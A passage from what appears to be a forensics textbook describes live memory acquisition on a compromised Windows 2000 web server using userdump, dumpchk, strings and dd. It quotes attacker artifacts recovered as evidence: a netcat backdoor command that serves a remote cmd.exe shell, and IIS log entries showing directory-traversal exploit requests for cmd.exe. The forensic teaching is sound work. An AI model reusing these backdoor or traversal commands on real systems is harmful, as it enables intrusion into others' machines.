userdump on a single suspect process, we simply supply it with a process ID (PID) that we obtained from the earlier pslist command and a destination. To save the attacker's netcat session (PID 1,424) to our mapped hard drive at Z:, we executed the following command: userdump 1424 Z:\nc_1424.dmp User Mode Process Dumper (Version 3.0) Copyright (c) 1999 Microsoft Corp. All rights reserved. Dumping process 1424 (nc.exe) to Z:\nc_1424.dmp... The process was dumped successfully.We acquired the process memory dumps for processes 1092, 1160, 1272, 1468, 1372, 1224, 1424, and 892 and placed the resultant files on your evidence DVD. Now that we have the suspect application's memory dump files, we can perform an initial examination with dumpchk.exe, a utility provided as a component of the Debugging Tools for Windows, which are available at http://www.microsoft.com/whdc/ddk/debugging/default.mspx. Several of the utilities distributed as part of this package, which can facilitate advanced analysis of captured memory processes such as the kernel and user-mode debuggers, may require the symbols from the Windows operating system that were the source of the memory dump. These symbols and information on their use are available at http://www.microsoft.com/whdc/ddk/debugging/symbols.mspx. The dumpchk utility is actually designed to validate a memory dump; however, it does provide valuable information. On our forensic workstation, we executed dumpchk.exe to examine the process memory dump of the suspected netcat process: D:\dumpchk nc_1424.dmp Microsoft (R) Windows Debugger Version 6.2.0013.1 Copyright (c) Microsoft Corporation. All rights reserved. Loading Dump File [nc_1424.dmp] User Dump File: Only application data is available Windows 2000 Version 2195 UP Free x86 compatible Product: WinNt [portions removed for brevity] Windows 2000 Version 2195 UP Free x86 compatible Product: WinNt kernel32.dll version: 5.00.2191.1 PEB at 7FFDF000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: No ImageBaseAddress: 00400000 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 131f38 . 13b470 Ldr.InLoadOrderModuleList: 131ec0 . 13b460 Ldr.InMemoryOrderModuleList: 131ec8 . 13b468 Base TimeStamp Module 400000 34d74d22 Feb 03 12:00:18 1998 C:\WINNT\system32\os2\dll\nc.exe 77f80000 38175b30 Oct 27 15:06:08 1999 C:\WINNT\System32\ntdll.dll 77e80000 3844d034 Dec 01 02:37:24 1999 C:\WINNT\system32\KERNEL32.dll 75050000 3843995d Nov 30 04:31:09 1999 C:\WINNT\System32\WSOCK32.dll 75030000 3843995d Nov 30 04:31:09 1999 C:\WINNT\System32\WS2_32.DLL 78000000 37f2c227 Sep 29 20:51:35 1999 C:\WINNT\system32\MSVCRT.DLL 77db0000 3844d034 Dec 01 02:37:24 1999 C:\WINNT\system32\ADVAPI32.DLL 77d40000 384700c2 Dec 02 18:29:06 1999 C:\WINNT\system32\RPCRT4.DLL 75020000 3843995d Nov 30 04:31:09 1999 C:\WINNT\System32\WS2HELP.DLL 74fd0000 3843995d Nov 30 04:31:09 1999 C:\WINNT\system32\msafd.dll 77e10000 3844d034 Dec 01 02:37:24 1999 C:\WINNT\system32\USER32.DLL 77f40000 382bd384 Nov 12 03:44:52 1999 C:\WINNT\system32\GDI32.DLL 75010000 3843995d Nov 30 04:31:09 1999 C:\WINNT\System32\wshtcpip.dll SubSystemData: 0 ProcessHeap: 130000 ProcessParameters: 20000 WindowTitle: 'nc -d -L -n -p 60906 -e cmd.exe' ImageFile: 'C:\WINNT\system32\os2\dll\nc.exe' CommandLine: 'nc -d -L -n -p 60906 -e cmd.exe' DllPath: 'C:\WINNT\system32\os2\dll;.;C:\WINNT\System32;C:\WINNT\system;C:\WINNT;C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem' Environment: 0x10000 Finished dump check The output confirms the file name and location and provides a list of associated dynamic link library files along with timestamps and the command line utilized to initiate the netcat process. If you are familiar with netcat, the bolded command line in this example should look familiar. It indicates that netcat was configured to detach from the console, listen on port 60,906, and execute a command shell whenever a connection occurred. This volatile data would have been lost if the process memory wasn't captured, and it simply would not be available if you examined the captured nc.exe binary alone. Subsequent examination with dumpchk revealed that PID 1,224 was initiated with a command line of iroffer myconfig, and PID 1,372 with ftp 95.208.123.64. Now we can examine the memory dumps for additional information by searching through the contiguous ASCII strings that are embedded within. Because data stored by an application or process in memory may be in Unicode format, we need to use a Unicode-capable Windows version of the strings command. One is available at http://www.sysinternals.com/ntw2k/source/misc.shtml, which displays Unicode and standard ASCII by default. The Linux strings command does not display Unicode strings by default, so if you are using this as a forensic processing platform, make sure that you enable this option. Running strings on the nc_1424 memory dump, you'll immediately see the application environment, which provides, among other things, the computer name, the system path, the location on the file system of the executed application, and the command line used: strings nc_1424.dmp Strings v2.1 Copyright (C) 1999-2003 Mark Russinovich Systems Internals - http://www.sysinternals.com g=C:=C:\WINNT\system32\os2\dll ALLUSERSPROFILE=C:\Documents and Settings\All Users CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=JBRWWW ComSpec=C:\WINNT\system32\cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:\WINNT\system32\os2\dll; Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:\Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:\WINNT TEMP=C:\WINNT\TEMP TMP=C:\WINNT\TEMP USERPROFILE=C:\Documents and Settings\Default User windir=C:\WINNT C:\WINNT\system32\os2\dll\ C:\WINNT\system32\os2\dll;.;C:\WINNT\System32;C:\WINNT\system;C:\WINNT;C:\WINNT\ system32;C:\WINNT;C:\WINNT\System32\Wbem C:\WINNT\system32\os2\dll\nc.exe nc -d -L -n -p 60906 -e cmd.exeAdditional strings you will come across when you examine the captured memory files include these: *** XDCC Autosave: Saving... Done *** Saving Ignore List... Done es.c : 328 0.000000 *** XDCC Autosave: Saving... Done *** Saving Ignore List... Done Trace -1 mainloop src/iroffer.c You A| *** XDCC Autosave: Saving... Done *** Saving Ignore List... Done ies.c : 328 0.000000 *** XDCC Autosave: Saving... Done *** Saving Ignore List... Done Trace -1 mainloop src/iroffer.c w{' iroffer myconfig C:\WINNT\System32\cmd.exe - iroffer myconfig CygwinWndClass IR> 23 File(s) 1,739,715 bytes &NCN 2 Dir(s) 3,451,928,576 bytes free C:\ WHATSNEW C:\WINNT\system32\os2\dll\iroffer.exe iroffer myconfig 2 Dir(s) 3,451,928,576 bytes free C:\WINNT\system32\ftp.exe ftp 95.208.123.64 jbrwww jbrbank.com xUSER ftp uH< User (95.208.123.64:(none)): xl' Password: FTP. control rator (95.208.123.64:(none)):Although nothing here is earth shattering, it does provide information that supports the analysis. In subsequent chapters, you will see a situation where the examination of process memory plays a critical role. We acquired the process memory dumps for the following processes and placed them on your evidence DVD: 1,092, 1,160, 1,272, 1,468, 1,372, 1,224, 1,424, and 892. Full System Memory DumpsNow we have the application memory of the suspect processes, but we also want to capture all of the system memory, which may have remnants of other intruder processes or previous sessions. We can obtain it using a program you are probably already familiar with—dd. George M. Garner, Jr. has modified dd, along with several other useful utilities, specifically for forensic investigation. Enhancements include built-in md5sum, compression, and logging abilities, to name a few. By incorporating these frequently used options that are normally associated with separate commands, he significantly reduces I/O, thus increasing acquisition speed. For more information, and to download his tools, go to his Forensic Acquisition Utilities page at http://users.erols.com/gmgarner/forensics. Some of Garner’s utilities are based on the UnxUtils distribution, which provides many useful GNU utilities. The UnxUtils are available at http://unxutils.sourceforge.net. By using the /dev/kmem file on Unix systems, we can obtain a logical view of physical memory from a live Unix operating system. Unfortunately, Windows NT operating systems do not provide such a file object, but Garner’s version of dd creates a /Device/PhysicalMemory section object. A section object, also called a file-mapping object, represents a block of memory that two or more processes can share, and it can be mapped to a page file or other on-disk file. By mapping the /Device/PhysicalMemory section object to virtual address space, Garner’s version of dd enables us to generate a dump representing system memory. Using Mr. Garner's version of dd, we used the following command line to capture system memory: D:\>dd.exe if=\\.\physicalmemory of=z:\JBRWWW_full_memory_dump.dd bs=4096 Forensic Acquisition Utilities, 3, 16, 2, 1030 dd, 1, 0, 0, 1030 Copyright (C) 2002 George M. Garner Jr. Command Line: dd.exe if=\\.\physicalmemory of=z:\JBRWWW_full_memory_dump.dd bs=4096 Based on original version developed by Paul Rubin, David MacKenzie, and Stuart Kemp Microsoft Windows: Version 5.0 (Build 2195.Professional) 02/10/2003 02:41:01 (UTC) 01/10/2003 22:41:01 (local time) Current User: JBRWWW\Administrator Total physical memory reported: 129260 KB Copying physical memory... E:\dd.exe: Stopped reading physical memory: The parameter is incorrect. Output z:\JBRWWW_full_memory_dump.dd 129260/129260 KbytesThis memory image, named JBRWWW_full_memory_dump.dd, is on the evidence DVD for your review. Although we didn't do so in this case, you can also use this version of dd to obtain an image of the entire physical hard drive from the live system without requiring a shutdown, reboot, or disruption of service. To accomplish this, we would have used the following command line: D:\>dd.exe if=\\.\physicaldrive0 of=z:\JBRWWW_physicaldrive0.dd bs=4096During a review, the strings command revealed several pieces of information relevant to the intrusion response. The following are some of the commands the attacker executed during the intrusion. It would appear that the intruder pinged himself at 95.208.123.64, initiated an ipconfig /all command, initiated an FTP session, and executed iroffer.exe: Ping statistics for 95.208.123.64: Packets: Sent = 2, Received = 2, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms <g 95.208.123.64 ipconfig /all T\System32\cmd.exe - ping 95.16 <g 95.208.123.64 cmd.exe ipconfig.exe ftp.exe iroffer.exe ystemRoot%\System32\cmd.exe <c:\ cd ..This is the output of an ipconfig /all command extracted from the system memory file: Windows 2000 IP Configuration Host Name . . . . . . . . . . . . : jbrwww Primary DNS Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Broadcast IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : jbrbank.com Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : jbrbank.com Description . . . . . . . . . . . : 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible) Physical Address. . . . . . . . . : 00-C0-4F-1C-10-2B DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 103.98.91.41 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 103.98.91.1 DHCP Server . . . . . . . . . . . : 103.98.91.1 DNS Servers . . . . . . . . . . . : 103.98.91.1 Lease Obtained. . . . . . . . . . : Saturday, August 23, 2003 3:55:31 PM Lease Expires . . . . . . . . . . : T = 1.0This appears to be an iroffer status window, which may show files the intruder "offered" out. XDCC Autosave: Saving... Done —> Saving Ignore List... Done (159K) —> AUTOEXEC.BAT (0K) —> boot.ini (0K) —> CONFIG.SYS (0K) —> Documents and Settings (4K) —> Inetpub (4K) —> IO.SYS (0K) —> MSDOS.SYS (0K) —> NTDETECT.COM (33K) —> ntldr (209K) —> pagefile.sys (209K) —> Program Files (4K) —> System Volume Information (0K) —> update.exe (0K) —> WINNT (24K) —> 16 Total Files —> ADMIN LISTUL Requested (DCC Chat)During the review of system memory, we found several sections of IIS logs. In the following section, the successful Unicode exploit launched from 95.16.3.79 was found in system memory. #Software: Microsoft Internet Information Services 5.0 #Version: 1.0 #Date: 2003-10-01 22:58:53 #Fields: time c-ip cs-method cs-uri-stem sc-status 22:58:53 95.208.123.64 GET /NULL.printer 404 23:00:55 95.208.123.64 HEAD /iisstart.asp 200 23:01:18 95.16.3.79 GET /iisstart.asp 200 23:01:18 95.16.3.79 GET /pagerror.gif 200 23:01:18 95.16.3.79 GET /favicon.ico 404 23:03:23 95.208.123.64 GET /NULL.printer 404 23:08:45 95.16.3.79 GET /NULL.printer 404 23:15:09 95.208.123.64 OPTIONS / 200 23:16:30 95.208.123.64 OPTIONS / 200 23:16:30 95.208.123.64 PROPFIND /ADMIN$ 404 23:17:04 95.16.3.79 GET /scripts/../../../../winnt/system32/cmd.exe 200 23:17:54 95.16.3.79 GET /scripts/../../../../winnt/system32/cmd.exe 502 23:20:19 95.16.3.79 GET /scripts/..%5c..%5c..%5c../winnt/system32/cmd.exe 200 23:32:43 95.208.123.64 OPTIONS / 200 23:32:43 95.208.123.64 PROPFIND /ADMIN$ 404 23:33:52 95.208.123.64 PROPFIND /ADMIN$ 404 23:58:16 95.208.123.64 OPTIONS / 200 23:58:16 95.208.123.64 PROPFIND /ADMIN$ 404If the intruder had deleted the log files on the hard drive, this volatile data may have played a critical role in identifying how, when, and where the intrusion was initiated.
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What are the pros and cons of using live response in addition to non volatile data collection
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